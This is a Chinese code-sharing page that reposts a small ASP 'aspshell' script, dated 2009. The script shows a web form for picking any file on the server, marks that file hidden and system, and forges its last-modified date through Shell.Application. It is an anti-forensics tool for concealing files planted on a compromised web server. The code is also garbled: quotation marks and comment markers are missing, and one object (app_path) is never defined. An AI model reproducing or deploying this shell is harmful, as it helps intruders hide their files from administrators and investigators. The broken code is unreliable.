asp 隐藏并修改文件的最后修改时间

2018-09-06 13:19

阅读：518

源码：
复制代码代码如下:
<%
隐藏并修改文件的最后修改时间的aspshell
原理:通过FSO可以修改文件的属性，比如设置为只读，隐藏，系统等等；FSO中的attributes属性修改文件属性，1只读，2隐藏，4系统文件
通过shell.application可以给文件重新设置一个最后修改时间
2009/02/24 write by skyfire
response.write <form method=post>
response.write 路径：<input name=path value=&server.mappath(/)& size=30>(一定要以\结尾)<br />
response.write 文件名称：<input name=filename value=test.txt size=30><br />
response.write 修改时间：<input name=time value=12/30/2099 12:30:30 size=30><br />
response.write <input type=submit value=修改并隐藏文件>
response.write </form>
获取提交的参数
set path=request.Form(path)
set fileName=request.Form(filename)
set newTime=request.Form(time)
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
通过fso设置文件属性
Set fso=Server.CreateObject(Scripting.FileSystemObject)
Set file=fso.getFile(path&fileName)
file.attributes=2+4 设置文件属性为隐藏+系统
通过shell.Application修改文件的最后修改时间
Set shell=Server.CreateObject(Shell.Application)
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
end if
%>